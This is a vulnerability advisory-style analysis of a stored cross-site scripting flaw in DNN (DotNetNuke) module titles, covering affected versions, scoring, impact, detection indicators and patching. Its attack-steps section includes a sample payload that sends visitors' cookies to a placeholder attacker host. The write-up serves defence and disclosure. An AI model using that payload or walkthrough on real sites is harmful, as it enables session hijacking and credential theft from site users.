CVE-2026-24838: 
C# vulnerability analysis and mitigation

CVE-2026-24838 is a Stored Cross-Site Scripting (XSS) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform in the Microsoft ecosystem. The vulnerability exists in the module title field, which supports rich text input and fails to properly sanitize scripts that can execute in certain rendering scenarios. It affects DotNetNuke.Core versions prior to 9.13.10 and versions 10.0.0 through 10.2.0 (exclusive). The advisory was published on January 27, 2026, with fixes available in versions 9.13.10 and 10.2.0. The GitHub Advisory Database rates this as Critical with a CVSS v3.1 score of 9.1, while NVD records a score of 5.4 (Medium) (GitHub Advisory, DNN Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the DNN platform allows rich text content in module title fields without adequately sanitizing or encoding script tags before rendering them in the browser. An authenticated attacker with sufficient privileges to edit module settings can inject malicious JavaScript into a module title, which is then stored server-side and executed in the browsers of any user who views the affected page. The attack vector is network-based, requires low attack complexity, and — per the vendor's CVSS scoring — requires high privileges (administrator-level access to module settings) but no user interaction for the payload to execute once stored (GitHub Advisory, DNN Advisory). The fix was introduced in commit 4a4bcbc of the Dnn.Platform repository (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all users who view pages containing the compromised module, enabling session hijacking, credential theft, and unauthorized content manipulation. Because the payload is stored persistently, every subsequent page load by any user — including administrators — triggers the malicious script, amplifying the blast radius across the entire site. The vendor's advisory rates confidentiality, integrity, and availability impacts all as High with a scope change, reflecting the potential for full compromise of affected user sessions and site content (DNN Advisory, GitHub Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit code and no confirmed evidence of in-the-wild exploitation (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.044–0.055%, placing it in the 17th percentile for exploitation likelihood within 30 days (GitHub Advisory). Detection coverage exists via Qualys (QID 5007253, 530989) and Nessus (plugin IDs 297851, 297827) (Feedly).

1. Reconnaissance: Identify DNN-powered websites running DotNetNuke.Core versions prior to 9.13.10 or between 10.0.0 and 10.2.0 using web fingerprinting tools (e.g., Wappalyzer, HTTP response headers, or default DNN page structures).
2. Obtain privileged access: Authenticate to the DNN portal with an account that has module editing permissions (typically an administrator or host-level account).
3. Navigate to module settings: Access the target page in the DNN admin interface, select a module, and open its settings panel where the module title can be edited.
4. Inject malicious payload: Enter a crafted rich text payload in the module title field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent XSS vector.
5. Save and persist: Save the module settings; the malicious script is now stored in the DNN database and associated with the module title.
6. Trigger execution: Any user (including unauthenticated visitors, depending on page permissions) who loads the page containing the compromised module will have the script execute in their browser, enabling session token theft, credential harvesting, or further attacks (GitHub Advisory, DNN Advisory).

• Logs: DNN application or IIS access logs showing POST requests to module settings endpoints (e.g., /DesktopModules/ or /API/) containing HTML/script tags in title parameters; audit log entries recording module title changes by privileged accounts.
• Database: Unexpected <script> tags or JavaScript URIs stored in the DNN TabModules or Modules table within the ModuleTitle or related columns.
• Network: Outbound HTTP requests from user browsers to unfamiliar external domains shortly after loading DNN pages (indicative of exfiltration via injected script); unusual DNS queries from client machines to attacker-controlled infrastructure.
• File System: No direct file system artifacts expected for a stored XSS attack, but review DNN skin/template files for any unauthorized modifications that could amplify the attack surface.

Upgrade DotNetNuke.Core to version 9.13.10 (for the 9.x branch) or 10.2.0 (for the 10.x branch), both of which contain the fix for this vulnerability (GitHub Advisory, DNN Advisory). As interim mitigations, restrict module editing permissions to only fully trusted administrators, and implement a strict Content Security Policy (CSP) header to limit script execution to approved sources. Regularly audit module titles and other rich text fields in the DNN admin interface for unexpected script content.

The vulnerability received coverage from The Hacker Wire and was shared on Mastodon and Bluesky shortly after disclosure (The Hacker Wire). Security blogs including infinitsec.net and ctrlaltnod.com published brief write-ups noting the stored XSS nature of the flaw (infinitsec). The CISA weekly vulnerability bulletin for the week of January 26, 2026 included this CVE (CISA Bulletin). Community reaction was moderate, with the primary focus on the discrepancy between the vendor's Critical (9.1) CVSS rating and NVD's Medium (5.4) score, reflecting differing assumptions about privilege requirements and user interaction.